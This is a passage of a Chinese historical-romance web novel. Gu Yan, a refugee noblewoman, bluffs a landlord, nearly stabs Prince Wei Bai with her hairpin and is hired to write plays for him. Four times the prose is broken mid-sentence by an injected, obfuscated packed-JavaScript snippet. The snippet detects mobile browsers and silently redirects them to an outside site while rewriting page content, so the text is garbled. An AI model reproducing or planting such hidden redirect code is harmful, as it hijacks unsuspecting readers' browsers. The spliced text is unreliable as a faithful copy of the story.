敢说她死了全家,抽死他! 走到临街,此时戏馆还未营业,大门紧闭。顾雁敲开门,由小厮引着来到后院。通常这时伶人们都应在后院准备,她却见所有人站在院里,围着一名中年男子说话。 “说好明日补上租金,怎能突然翻两倍!” “也不能看戏馆红火起来,就坐地起价吧!” 中年男子满脸横肉,瞪着溜圆的眼:“你们硬拖三个月不交租金,家主已经仁至义尽!如今你们生意好起来,就不想着回报?张月你给个话,到底交不交?” 一旁的张娘子恳切说道:“戏馆营生起起落落,改日门庭冷落下来,咱哪交得起这般贵的租金。还请刘管事再跟东家说说,通融一二。” “一群戏子算什么东西,敢对家主指手画脚。明日最后期限,不交就滚!”那男子一甩衣袖,迈开方步就要出门。 站在廊下的顾雁目睹这一幕,心知戏馆也遇上了麻烦,只怕顾不上收留自己了。虽然有些失望,她亦心生不平。 那男子走过身边时,顾雁忽然说道:“昨日神鸮营严都尉亲自登门,对戏文大加赞赏。” 其实严都尉没有称赞,但这不重要。对这种房东,求情根本没用。 那人果然停步,狐疑地打量起她:“你是谁?以前来怎没见过你?” “她是刚请来写戏文的容娘子!”张娘子疾步奔来,挽住顾雁手臂,瞧她背着包袱,拎着树枝,转头又笑,“下午出去采买了刚回来。严都尉专程几次上门,就是想结交我家这位容娘子呢!” 顾雁讶然看向张月,很快又心领神会。让对方以为戏馆结交了严都尉,更有利于讨价还价。她顺着话婉言道:“戏馆刚有起色,便急着杀鸡取卵,对谁都没好处。不如从长计议,待戏馆营生稳定,日后也能多交租金。” 张娘子忙补充:“东家若执意赶走我们,惹恼严都尉,可不好交代啊!” 那男子愕然愣住,又打量了顾雁好几个来回。他负手在后,悄然搓了搓衣袖,提声道:“别以为我不知道,戏子惯会胡编乱造!若你所言为真,你明日就能把严都尉请来?” 张娘子悄然望了顾雁一眼,忽而又笑:“这有何难?明日未时,管事来一看便知!” “好好好,我等着瞧!”男子强撑着扔下一句话,踱步出门去了。 见他走远,顾雁忙问:“房东要临时多收你们租金?” “突然翻了两番!”张娘子敛去笑意,“再加之前拖欠的,明日怎拿得出这么多!” 顾雁皱起眉:“他要明日见严都尉,若见不着,定然又要为难你们。” “明日……”张月眼珠一转,忽问:“容娘,你怎么突然过来了?”见她背着包袱,张月便猜到了大概:“书肆出事了?” 顾雁犹豫一瞬,照实说了来意。 张月面露犹豫:“你看到了,我们也是焦头烂额……” “我明白的,无妨,我再想办法。”顾雁温柔一笑。 张月忽然拖住顾雁的手:“容娘,若明日下午,你能把严都尉请来,可就帮了我们大忙!” “我去请他?!”顾雁惊道,“我们素昧平生,昨日才说过几句话,怎请得动?” “你怎就转不过弯来!”张月急得轻拍她的手背,“昨日严都尉买完文稿,说事已办妥,可见在帮人代办。谁能让神鸮营都尉办事?自然是颖王!颖王赏识你的戏文,就好办多了。” 顾雁摇头:“颖王总揽朝政,哪有空看杂戏?” 她咽下了更实诚的话。世人大多瞧不起杂戏,更何况颖王。严都尉行伍出身,许是心生好奇买来一看。就算是这样,也很令人惊讶。 “不管谁看,严都尉买走你的文稿总是事实吧!”张月执着顾雁的手,放柔声音,“在梁城这种地方,多一道交情就多一条门路。上回你写的三篇戏文,我都收着呢。就请严都尉过来看看文稿而已,不妨事的。若办成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14425953|153715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,你就是戏馆的大恩人!后院房间你想住哪,都随你挑!” —— 一个多时辰后。 顾雁站在颖王府外,望着庄重肃穆的大门,只想叹气。 怎就没顶住他们巴巴望来的目光,心一软,说了句那就试试看呢? 府前大街空空荡荡,平常无人敢靠近颖王府门前。此刻唯有顾雁站在十丈外的树下,不时瞥向府邸大门。 严义是颖王身边的宿卫统领,她只能来颖王府碰碰运气。但眼下站了半个时辰,还没见到他的影子。门前两名宿卫虎背熊腰,面相凶煞。她踌躇半晌,仍迟迟没有上前,问一句严都尉是否在府中。 或者,明日凌晨再来?颖王上朝出门时,严都尉兴许也在,或能寻机说一句话。顾雁在树下转了两圈,如此打定主意时,却听后方传来声响。 她忙回头,见一列队伍正徐徐靠近。为首一辆挂着卫字牌的马车,而严都尉骑着马,就在车驾旁边。 太好了! 顾雁眼中一亮。不过,这是颖王回府了?她不想多生事端,忙往树干后一躲。 “何人在树后鬼祟!”忽然一声断喝传来。顷刻间,四柄长剑从后方袭来,四名宿卫闪身而出,剑指顾雁。他们目露凶光,又喝:“为何躲藏在此!” 顾雁脊背紧贴树干,十指下意识抠进树皮。她硬着头皮说道:“民女来寻严都尉。” 四名宿卫一愣。他们两相对视,交换着诧异的目光。 急促的马蹄声靠近。 “发生何事?”严义御马停下,沉声问道。 宿卫们瞬间肃然,一齐左转行礼。一人恭敬说道:“禀都尉,此女声称来寻你。”说话间,众人皆偷偷抬头瞄向统领。 “容娘子?”严义愕然,“你怎来了?” 旁边的宿卫们开始暗中频繁交换目光。 后面的马车徐徐停在府邸门前,却不见有人下车。其后队伍也停步候着。无数目光朝这望来。顾雁忙施礼道:“见过严都尉。昨日……昨日……” 所有人都在看她…… 顾雁揪紧指尖,迟疑了一瞬,干脆横下心:“昨日匆忙告别,忘记询问都尉。除了《狐姬夜游》,民女还写了两篇戏文。都尉既对戏文感兴趣,可否于明日未时前来戏馆一阅?” “啊?我对戏文感兴趣?”严义一懵。但他很快反应过来,小心翼翼转头,看向一直安静的颖王车驾。 见他没回应,顾雁有些失望,但她自知不能再耽搁下去,颖王车驾还在那呢。她加快语速:“都尉不感兴趣也无妨,抱歉耽误阁下了,民女这就告辞。”她匆匆一礼,便要离开。 “哎不是……你等等。”严义示意旁边宿卫将她拦下。他翻身下马,疾步到车驾旁,“主公,她说……” “孤听到了。”车门推开,颖王卫柏探身下车。 严义咳了一声,上前俯首低语:“那个……还请主公示下,末将对戏文……到底该不该感兴趣?” 颖王淡然睨了严义一眼。 军士即刻垂头。 卫柏回头望来,他的漆黑瞳仁里,映入树下那道纤丽身影。 “带她进府。”他转身迈步上阶。 5. 拔簪 卫柏进府后,遣退侍从和宿卫,一路穿过重重庭院。顾雁和严义紧随其后。颖王没说为何召她进府。她也不敢多问。 前方又是一道院门,颖王进去后转身不见了。顾雁连忙小声追问严义:“严都尉,明日未时能来戏馆看文稿吗?” “呃,”严义瞥了一眼前方,“尚不能定。” “好吧,”顾雁以为他在托辞拒绝,心头漫起失望。两人进门转弯,却见卫柏就站在门后,她差点撞上! 顾雁压下惊呼,忙后退一步站定:“请殿下见谅。” 卫柏睨向她身旁的军士:“你现在就去戏馆。” “遵命。” “哎?!”顾雁一头雾水,见严义疾步远去。 怎就走了?! 而军士的背影顷刻消失在庭院廊道外。 行吧……顾雁无奈回头,发现她离卫柏只相距一步。 他身量高大,像堵高墙似的站在面前。她连忙低头,入眼便是他胸前玄黑色的朝服,再往下,是他腰上挂的白玉紫绶和佩剑。 “你昨日敢毫不畏惧地直视孤,今日怎不敢抬头?”卫柏玉磬般的声音响起。 这还用问吗? 因为你卫贼大名,在江州如雷贯耳,人人愤慨! 当今天下流寇四起,诸侯各兴义兵,割据地方。颖王软禁了天子,却借天子名义剿灭诸侯。 两年前,五十万颖军南下江州时,她本被母亲强行送走。待她终于挣脱束缚,匆匆赶回临江侯府外,母亲和兄长已沦为阶下囚,被押往梁城不知所踪。 江州,换上了颖王派来的新主人。 她和身边两名仆婢沦为流民,终日东躲西藏。她分了随身金玉,让他们自去归乡。她则混入北上流民队伍,辗转来梁城,想寻到母兄下落。但两年过去,他们是死是活,她仍一无所知。 江州军民受苦,她与至亲离散,皆因卫柏。昨日终于见到这个罪魁祸首,她自然要好好看一看! 然而这些话,眼下她一个字都不能说。 顾雁抬眸看向卫柏,柔声应答:“民女久闻颖王威名,心中仰慕。昨日初见一时无状,请殿下见谅。” 卫柏不置可否地轻轻一笑,转身继续前行。 顾雁恭敬垂首,继续跟上。 门后是一条池边小径,左边池水波光如鉴,右边假山层层叠叠。 顾雁捏紧手,望着前方的卫柏背影,眼中恭敬全数褪去,取而代之的,是难抑的愤恨。他束发戴冠,领上露出后颈。她突然想到,若拔下木簪往那处狠狠一插!岂非能为江州,为大齐除掉卫贼了?! 念头一冒出,就像破土而出的幼芽肆意疯长。 心脏开始突突直跳。 她迅速扫视周围,石径十丈外的尽头坐落着一间轩阁,周围除了假山池塘,再无别人。卫柏在前毫无知觉,真是天赐良机! 可她刺杀后还能全身而退,再找母兄吗…… 不不不! 若母兄知道她错过这样的机会,定会斥她糊涂。只要除掉卫贼,她走不出颖王府又算什么! 无数念头顷刻闪过,顾雁盯着他的后颈,缓缓抬手。 还有八丈左右,就要走出小径了。 她的手摸到耳旁。 就是现在! 顾雁眸里闪过决绝,拔出发簪! “你……”卫柏忽然转过身来。 他声音温和,却如一道惊雷,炸得她脑海一嗡! 卫柏回头,却见她手扶发簪,一头青丝如黑瀑般倾泻而下。池塘风起,青丝飞扬,拂过她的倾城容色。他不由得一怔。 顾雁交握双手,俯首盈盈施礼:“民女头上发簪忽然松落,还请殿下见谅。” 卫柏微微敛眸,她正紧捏着那根木簪,捏得指腹发白。 “无缘无故,发簪怎会松落?”他的目光浮起寒意。 顾雁看向他,眼眸清涟如水:“今日出门匆忙,未仔细挽发,故发簪松落……不知殿下方才想说什么?” “你是江州人吧,”卫柏盯着她缓缓道,“说话总是温言软语,与那些江州人一样。” 顾雁心中咯噔一响。 唉,乡音就和喷嚏一样,总是藏不住。她暗自吁了口气,竭力保持着面色平静。 他继续道:“又会识文断字,何以成为流民来到梁城?” 她就知道,又懂研墨又解诗,却自称孤女流民,实在太不合理,这厮定会疑心。 来自被颖军覆灭的江州,又在他背后抽发簪,怎么看都很可疑。 此刻卫柏看她的目光,已然寒凉彻骨。 不过她刚进书肆时,就编过一套说辞:“我幼时被卖进江州鄢氏老宅,幸得鄢老夫人垂爱,在她身边学会识字读书。松枝研墨之法,便是她所教。老夫人仁慈,后来见我常思念亲人,便让我循着身契上的线索出府寻亲。谁知我路上遇到人牙子,被打晕醒来时,已被绑上来梁城的船。我苦寻机会终于逃走,却也沦为流民,只能留在梁城讨口饭吃。” 北上之路自是千辛万苦,却与谎言截然不同。她自小习书研墨也不假,然而教她的慈爱之人却是娘亲。但无论他信不信,都没法立刻核实。鄢氏是江州名门,老宅远在江州山乡。老夫人是当地有名的才女,几年前就病逝了。 “既如此,逃走后怎不回江州?”他徐徐又问。 以前赵管事也问过,她自有应对。 顾雁柳眉微蹙:“梁城与江州相隔千里,路上还有流寇出没。我怕再被掳掠,故迟迟不敢上路,只得先安顿下来再做打算。” 卫柏垂眸,目光划过她紧捏发簪的手,绷直的肩背……又落回她青丝半掩,烟雨含愁的脸。 顾雁抿了抿发干的唇瓣。 以前兄长说她样貌最能骗人,别看长得温婉柔美,其实脾性勇烈如虎。眼下刺杀不成,气血上涌的念头散去,她脑中又恢复了冷静。此刻必须打起十二分精神,绝不能暴露真实身份——她是临江侯顾麟唯一的妹妹,顾雁。 但卫柏的目光,仿佛能洞穿所有秘密。她多待一刻,便多一分后果难料的危险。眼下就算装模作样,也得尽快把他唬过去。 “民女这就重新挽髻。可否请殿下帮我暂拿发簪?”顾雁双手奉簪,缓步上前,任心脏突突乱跳。 卫柏接过发簪,捏住轻轻一转,是一根市集上常见,雕工也寻常的柳叶形木簪。 顾雁挽起青丝,露出粉白如玉的脖颈。她一手托住发髻,一手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14425954|153715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝他伸去:“多谢殿下。” 他将木簪递回。她拿走时,簪尖轻轻划过他的掌心,留下若有似无的痒。卫柏眸色暗沉下来。他猛地攥紧木簪。顾雁拿回一半,木簪忽然纹丝不动。 她疑惑看去。卫柏俯首望她,幽幽说道:“狐姬接近方士时,也是请他帮忙,取回被风吹走的面巾。娘子编的好戏看过一次,再看一次便没了新意。” 顾雁一愣,这是把她比作狐姬,在蓄意接近他? 也行……至少骗过去了。 等等,他怎知《狐姬夜游》的内容,还知道是她所编? 啊,定是严都尉说的…… 顾雁压下讶异,垂眸说道:“既是好戏,便经得起一再上演。” 他们隔得近。她发丝上的淡淡皂香扑进卫柏的鼻尖。他的瞳仁里,映入她美得倔强动人的脸。卫柏失笑,沉声又道:“可惜狐姬被看穿了真面目,被方士追杀得狼狈不堪。” “至少她成功带走了丹药。”顾雁抬眸与他对视,忽然滞了呼吸。 这厮一笑,眉眼微弯,一派俊逸端雅的君子之相。可惜这样好的皮囊,里面却是窃国之贼的黑心肠。 “只因方士看见狐姬救婴,对她起了恻隐之心。”卫柏挑了挑眉,眸中寒意散去。他深深看了一眼她,松开了手。 顾雁轻轻一抽,拿回木簪。“多谢殿下。”她羞怯一笑,将木簪插进乌发挽就的垂云。她一笑,烟雨含愁的面容顿时雨过天霁,恰如绯霞晨曦一般光彩动人。 卫柏的目光像被什么一烫,连忙移开。但他很快恢复了平静面色,转身前行。 吁,终于不看她了! 顾雁松了口气。 别以为她没听出来,他借戏文含沙射影,话里有话。方士因狐姬救婴而起了恻隐之心,不再追究盗药一事。那他自比方士,又是因为什么,不再细究她拔簪呢? 她一时没想明白,也不知这厮为何突然召她进府,难道就是为了问她的来历? 忽然,右边假山背后传来极细微的“咔嚓”声响。像有人在厚厚的泥土上,踩断了几片落叶。 顾雁身子一僵。 是了,假山后有树林,卫贼府内怎可能没有宿卫,他们都在树林里没现身。还好没动手,兴许发簪还没插进他脖颈,就被宿卫的剑削断了手。 脊背骤然涌起一阵寒意,她暗地吁了口气,提裙疾步追上卫柏。 清风徐徐,波光粼粼。 这次卫柏放慢脚步,与她并肩而行。 他们走出池边小径,来到那座轩阁门前。茂密树林中忽然走出几名侍从和宿卫,匆匆上前,为卫柏推开屋门。 他撩袍进屋,其余人皆等在外面。顾雁在门外侯了许久,屋里终于传来一声:“进来。”旁边侍从抬起手,示意顾雁进门。她刚脱履入内,屋门便在身后关上了。 阁中有数间房屋相连,氤氲着淡淡香气。除了最外间的一扇屏风,四周墙边皆是格架,堆满密密麻麻的书册。房间最深处,卫柏已脱下朝服高冠,倚着凭几坐在案后。他换了一身月白色深衣,髻上只挽着一支简单的青玉簪。一缕轻烟自案上博山炉中袅袅升起。 顾雁一眼睹见,《狐姬夜游》的文稿正摊放在香炉旁。 6. 卫贼 文稿怎么在这…… 顾雁趋步上前,准备伏拜,却听卫柏说道:“坐吧。”他望向她脚边:“可以用它。” 一个三尺长的软囊摆在她脚边,士族坐时常用此物垫腰。顾雁愣住,没注意卫柏睹了一眼她的腰,又移开了目光。 平时卫贼召见臣属,还会体恤地准备软囊? 顾雁心中生疑,忙盈盈施礼:“多谢殿下。”坐下后靠着软囊,后腰确实舒服了许多。她安静等他发话,但忍不住一直瞄着案上文稿。 见她目光所及,卫柏拿起文稿,温和道:“《狐姬夜游》虽是杂戏,文采却不输许多士人文赋。” 顾雁愕然:“殿下看过文稿?” 卫柏失笑:“不明显吗?” 啊,这厮一副嫌弃神情,好欠揍啊! 顾雁压下恼意,又有些诧异身为颖王的卫贼,会说这种话。 “民女没想到,殿下会看杂戏戏文。毕竟以民女所见,高门士族都看不上这些。” 卫柏笑了:“那你写戏文的本事,也是鄢老夫人所教?” 说到这,一些江州往事浮上心头,顾雁怅然摇头:“小时候,我在市集看到志怪传奇的话本,很喜欢,但只能攒钱买回去偷看。因为一旦被……” 她咽下差点脱口而出的娘亲:“被鄢老夫人发现,就会被责怪。老夫人是名门之后,家学深厚,素来不喜这些。那时我也想写,但不敢写在纸上,只能在心底天马行空,暗暗编排。” 娘亲眼里,戏文和话本都是末流俗物,决不能碰。虽然她一直纳闷,都是文章,它们与经学诗赋有何贵贱之分呢?但久而久之,为了不惹娘亲生气,顾雁还是小心为上,只偷偷看。 也就是来梁城后,她在库房里写戏文排遣郁闷,被老管事看到,把她荐给戏馆张娘子。她又才发现,原来戏文还能卖钱……等等,她在想什么! 卫贼在查问她的来历,怎能一时伤怀就情不自禁说这些! 警醒点! 顾雁赶紧回神,收起怅惘:“所以民女乍听殿下称赞,受宠若惊。” 卫柏淡淡笑了笑:“可惜写出这般好文章之人,却埋没在书肆里,日夜誊抄别人的书。” 顾雁怔住。卫贼……说它们是好文章,还可惜她没多写几篇? 这时,门外传来严义的声音:“主公,末将已取回另两篇戏文。” “拿进来。”卫柏道。 顾雁回过神来,心下诧异严都尉也太快了。 只见军士脱履入内,捧着两卷纸稿趋步上前,递给卫柏,又俯身在他耳边说了些什么,然后退到一旁站好。 卫柏挑眉:“梁城令关了书肆?” 看来严都尉听说了她的遭遇。顾雁应道:“嗯。” 卫柏没再说话,展开手中文稿。须臾,他眸色一亮,脊背微微挺直,认真看起来。屋里陷入寂静。严义像一尊石雕纹丝不动。顾雁安静等着,暗中打量起卫柏。 他缓缓扫视文稿,瞳仁里泛着璨璨神采,好似燃着星光。看着看着,卫柏眼眸弯起:“原来父母不是故意丢弃孩子。” 第二篇戏文里,狐姬治好婴孩,又帮他找到了父母。原来,那对夫妻一家逃难时,他们饿极昏倒在路边,孩子竟被野狼叼去山林。幸而遇到狐姬,野狼丢下重伤的孩子逃走。那对父母醒来后在附近苦苦寻找,终是一家团聚。 她暗暗惊讶,文稿还真是买给卫贼看的,他竟会看杂戏戏文?《西园集》里都是诗赋骈文,根本看不出来他喜欢看杂戏。 “焦骨盈道,号泣回响,豺虎四伏,山林不复清幽。”卫柏喃喃念着,一时出神。在这篇《狐姬送婴》里,狐姬说完这句话,便翩然隐入了山林。 良久,他轻轻叹息:“戏中有狐姬,世间却无。”他拿起文稿,又把《狐姬送婴》看了三遍,目光停在狐姬最后那句话上。 卫柏面上似乎笼着淡淡哀戚之色。顾雁觉得她应是看错了,像卫贼这种滥兴兵祸之人,又怎知晓失去至亲的痛楚,又怎会哀戚呢? 她垂眸掩住伤怀:“逃难时,民女曾见一对夫妻抱着死婴哀泣。后来每每想起,辗转难眠,便写下戏文,祈愿孩子能得玄阳天君护佑,来世能与至亲团聚。” 祈愿孩童来世,也祈愿自己今生。 在旁静候的严义插话道:“十几年前,确有路边饿死景象。但先王颁令养民屯田,如今四方天下已定其三,路旁已不见焦骨了。” 确实,她能一路北上,就是因为卫柏攻下江州后,下令恢复南北交通,还招募流民北上开垦荒地,由官府提供牛和地。许多流民组队北上,她才混入其中。 “但我所见的也是事实,”顾雁提高些许声音,“就在汝平!” 卫柏微微眯眼:“汝平……”他眸中闪过一抹寒光。像一汪深不见底的湖,一瞬翻起波澜,又一瞬恢复静谧幽深。 半晌,卫柏又翻开下一篇文稿。看到大半,他愕然问:“狐姬怎么钟情于鬼手书生了?” 他面露失望,赶紧往后看,再翻文稿,后面却没了。他嘟囔着:“我还以为狐姬和方士有后文,方士为何再没现身?” 顾雁颇觉无奈,最后一篇《狐姬许情》里,狐姬遇到了鬼手书生,不需要方士再出场。但迎着他期盼的目光,她只好硬着头皮现编:“方士见狐姬和书生美满和睦,就自行离开了。” “自行离开?!”卫柏仿佛受到了莫大伤害,他咬了咬后槽牙,“若换成我,必不会暗自离开,放过狐姬。方士去哪了?” 他面色忿然,像微风吹动,湖水又泛起鲜活的波澜。顾雁忽然觉得,这厮果然只是弱冠青年,比她大不了多少。 呵,你还不满意,话这么多!笔给你你来写? 顾雁垂下眼睫,以掩住嫌弃:“方士自有他的去处。” 卫柏吁了口气,翻了翻手中三篇文稿,显然意犹未尽。他倚起凭几,手撑额角。片刻,他弯眼一笑,看向顾雁:“住进府里,三天一篇,只给我看。” 石雕般的严都尉看了颖王一眼。 顾雁愕然一愣。 住进……颖王府?! 给她最讨厌的卫贼,写她最喜欢的戏文?! 不! 还一副不容拒绝的口吻,好讨厌。顾雁飞快思量着该如何拒绝,却听门外又传来一道声音:“殿下,今日奏疏已整理好,请殿下过目。” “拿进来。”卫柏将戏文放回案上。 屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14425955|153715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门被推开,一名男子手捧一盘文书,脱履入门。那人年过而立,面如冠玉,长眸似狐,颌下长须飘然若仙。他进门瞥了一眼顾雁,将托盘放到卫柏面前。 “殿下,她是……”男子看向她。 “容娘,擅写文章。孤想让她侍墨。”卫柏拿过一卷文书展开,刚看几眼就拧起眉,“不知所云!”咚地一声,他将文书扔到地上,“从云,令他们以后不准再写废话!” 他语气嫌弃,面色冷厉,与方才目光璨璨期盼后文的青年,简直判若两人。顾雁忽然有些恍惚,不知哪个才是卫贼这厮的真面目。 “遵命。”男子恭敬应下。他捡起文书时,顾雁无意一睹,纸上落款是征南将军。察觉到她的视线,男子冷冷望来,精干有力的目光颇有震慑意味。 顾雁忙垂下眼帘。 方才卫柏唤“从云”,她就觉耳熟,这时忽然想起来,他竟是陶羽陶从云! 辅佐两代颖王横扫诸侯,号称“鬼谋之士”的颖军军师,诡计多端天下皆知! 她暗暗揪紧衣袖。面对陶羽,更不能掉以轻心了! “你还没应我。”卫柏已在看下一道文书。这句话,是在对她说。 顾雁早想好了推脱之词,刚要开口,却见卫柏打开案上一个锦盒,从好几方印玺中拣出一个,盖在文书上。 电光石火间,一个念头钻进脑中。 颖王把持朝政,架空齐帝。各级官员奏疏和军报都会送到他案上。如果她接近卫柏,不就能探到母兄下落吗?! 想到这,顾雁心底猛然窜起一团火,浑身都隐隐颤抖起来。而她面色依然温婉,只颔首道:“能得殿下赏识,民女感激不尽。” 卫柏淡淡一笑:“明日进府自有人安置。叔仁,派人送她回去收拾行装。” “是。”严义应道。 两人退到轩阁门外,严义遣了一名侍从送她出府。他们辗转出府,来到一道侧门外,已有马车在此等候。 顾雁正待上车,忽听身后传来一声高唤。 “容娘子稍等!” 她回头,见两名侍从各捧一个瓷盘疾步追来。一人捧的盘里放着几瓣切开的梨,另一人捧的盘上搁着一双木箸。 顾雁疑惑不解。侍从道:“殿下说,忽然想起府中有株梨树,是六年前手植。正逢时节,盼以此梨,稍宽狐姬之哀情。” 哀情……顾雁一怔。 记得张月刚看到这几篇戏文,直呼真是惊险奇诡,狐姬法术高强,用戏台机关展现出来,肯定大受欢迎! 只有卫贼,看出了狐姬的哀情…… 侍从把瓷盘举到她面前,顾雁只好拿起箸,随便捡了一块。刚咬一口便汁水迸开,梨肉甜脆得过分。 “多谢殿下,”顾雁吃了一口,便放下木箸。她毫无胃口吃梨,更何况是卫贼的梨,却也接过瓷盘,“我带回去吃,明日把盘还来,可否?” 食物不能浪费,分给张月吃算了。 另一名侍从道:“这是殿下赠与娘子之物,娘子怎样处置都好。殿下说还有很多,娘子若喜欢,明日再吃。” “倒也不……”顾雁想了想,换了句话,“还请转告殿下,比起甘梨,狐姬更盼方士之药。” 7. 招摇 另一边,西园书阁。 侍从回报完毕,恭敬退出门外。 卫柏手撑额角,自顾琢磨:“她这般说么……” 半晌回神,忽见陶羽和严义都在诧异地望自己,他当即恢复正色:“从云,汝平郡的典农中郎将是程恭吧。” 程恭,尚书仆射之长子,程二公子的长兄。 “是。”陶羽收起颖王刚看完的文书,“殿下为何突然问起他?” 卫柏只道:“你悄悄去大司农署,查看两年前汝平郡的粮账,但不要被旁人瞧出端倪。” “遵命。”陶羽想了想,忽问,“殿下,此女是何来历?臣觉得……她行止有些可疑。” “她是江州流民。”卫柏又翻开一卷文书,随口应道。 陶羽愕然:“殿下为何突然要她侍墨?” 卫柏目光一停,似是陷入悠远思绪。 “陶从云,”严义叹了口气,“你可还记得,主公在先王灵前守夜时,曾遣退他人,抚琴吟唱了一夜?” 卫柏眸中浮起伤怀。他盖下印玺,接过陶羽递来的下一卷文书。 “当然记得,那时只有你我听见。”陶羽问,“怎么了?” 昨日陶羽不在,严义复述了文会情形,又道:“灵前奏乐唱歌这种话,谁能想到?谁又敢说?偏她说出来,与主公所悟的先王遗愿,不谋而合。” 陶羽越发惊讶:“难道她故意写错字做局,以接近主公?但这也太冒险了!” “所以,”卫柏垂着眼帘,修长手指轻敲纸张,“孤想查清错字的真相。” “末将交给梁城令去查了。”严义补充。 “哦对,”陶羽想起来,抽出一封文书,“梁城令刚呈上了卷宗。” “念。”卫柏瞥了一眼,又继续看手中文书。 陶羽打开卷宗,念道:“臣昨日接令,深感惶恐,当即亲率府卒严审,于一日内……” “念结果。”卫柏打断。 “是,”陶羽忙往后看。很快,他继续念道:“东文书肆佣书人史六,自白伪造书册错字,只为驱赶另一名佣书人,名唤容娘。盖因她来后,前人渐失重用,常聚众非议。他亦深感不满,故生此念,筹谋许久后,终遇良机。经臣严审,众人供认不讳。按齐律,首犯当笞一百……” “给我看看。”卫柏抬起头。 陶羽连忙奉上卷宗。卫柏接过迅速浏览。那人如何盗书,如何仿造都写得清清楚楚,与昨日容娘自辩之语都对得上。最后,梁城令对此人妄改殿下诗句,书肆竟有如此疏漏,抒发了一篇洋洋洒洒的愤慨,并下令查封了书肆。 卫柏扔下卷宗,斜身倚向凭几。 “看来并非是她故意设局……”他手撑额角,开始琢磨,“那她情急之下解先王遗诗,是怕被赶出梁城?” 旁边二人知道主公在自语,没有答话。 “她怎知那番话会让孤消气?万一孤更生气呢?”卫柏眼里亮起粲然光彩,“她既能解先王诗句,抄《西园集》时,必不赞同书中品评吧。” 来了,又来了,一旁的严义默默摇头,主公那股莫名其妙的兴致又来了。昨日他送完容娘子返回木樨阁,见心情转好的主公,正让在场士人评议《西园集》。 他进门时,主公刚好在问中书郎:“这首短诗于孤九岁时所写,可当得神品?” 中书郎一脸为难,欲言又止,迟疑许久才开口:“臣……臣以为当得。” 主公转头又问侍中,炯炯目光满含期盼:“卿以为呢?” “臣以为……”侍中咂摸片刻,拱手道,“此诗清丽隽然,短小精巧……呃,以殿下作诗年岁实属难得……呃,臣以为当得。” 主公笑了笑,又问遍全场,听遍支支吾吾、绞尽脑汁的回答。他眼噙笑意,欣赏着士人们坐立不安的模样,又道:“叔仁,你说。” 严义挺立在旁,朗声道:“末将就能看懂主公这首诗,反正跟小时听的儿歌差不多。” 其他士人一愣,这首诗简单直白如乡野儿歌,大家心里都懂,但果然只有严都尉会直说。颖王听罢朗声大笑,命人收了《西园集》,叫众人散去。 严义收回思绪,瞥向眼前的主公。 此刻,卫柏狭长的眼眸微微弯起,浮出一丝玩味神情:“孤今日见她,本想试试她还会做甚。果然未令孤失望,她竟在孤身后拔簪。” “她想刺杀殿下?!”陶羽震惊。 “某觉得……”严义轻咳一声,“她确实更像在刻意接近主公。”见陶羽疑惑望来,严义摊手,“宿卫看到,她让主公帮忙拿簪,还在主公面前挽发。” 卫柏又拿过一卷文书。池边那一幕掠过眼前,他眸色一暗:“派人去江州鄢氏老宅,查查容娘的底细。” “是。”陶羽蹙起眉,“但江州路途遥远,就算快马加鞭,来回也至少一个月。查清此女底细前,殿下万万不可被她美色所诱,将其留在府中。” “陶从云,你刚进颖王府吗?主公怎会被美色所诱?”严义正色斥责。 卫柏赞许地瞥了军士一眼。 严义继续道:“主公召她进府,另有原因。你也知道,主公喜欢看那些奇奇怪怪的话本……” 卫柏瞥来的眼神冷了三分。 憨壮的军士放低声音:“她又写了戏文,叫什么……狐姬夜游,近日在梁城正红火。主公想不注意都难,这才召她进府写戏文。” 陶羽早就看到了,案上那些狐姬夜游、鬼手书生的文稿,正是颖王私下爱看之物。他冷嗤一声:“这是算准了,来投殿下所好,看来受过训练。” 他轻捻长须,又陷入思索:“戏文也就罢了。殿下在灵前抚琴吟歌一事,从未外泄,外人又怎能得知?” 严义两手一摊:“反正我从未对外提过。要泄露,也是由你陶从云身上泄露的。” “严叔仁,我可不像你这般没脑子!”陶羽瞪向军士。 “行了,”卫柏又看起文书,“一个不张嘴,一个有脑子,孤知道你们不会泄露。”严义昂头挺胸,站得更直了。陶羽敛眸抚须,蹙眉一叹。 一卷看罢,卫柏丢开文书,目光落回戏文。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 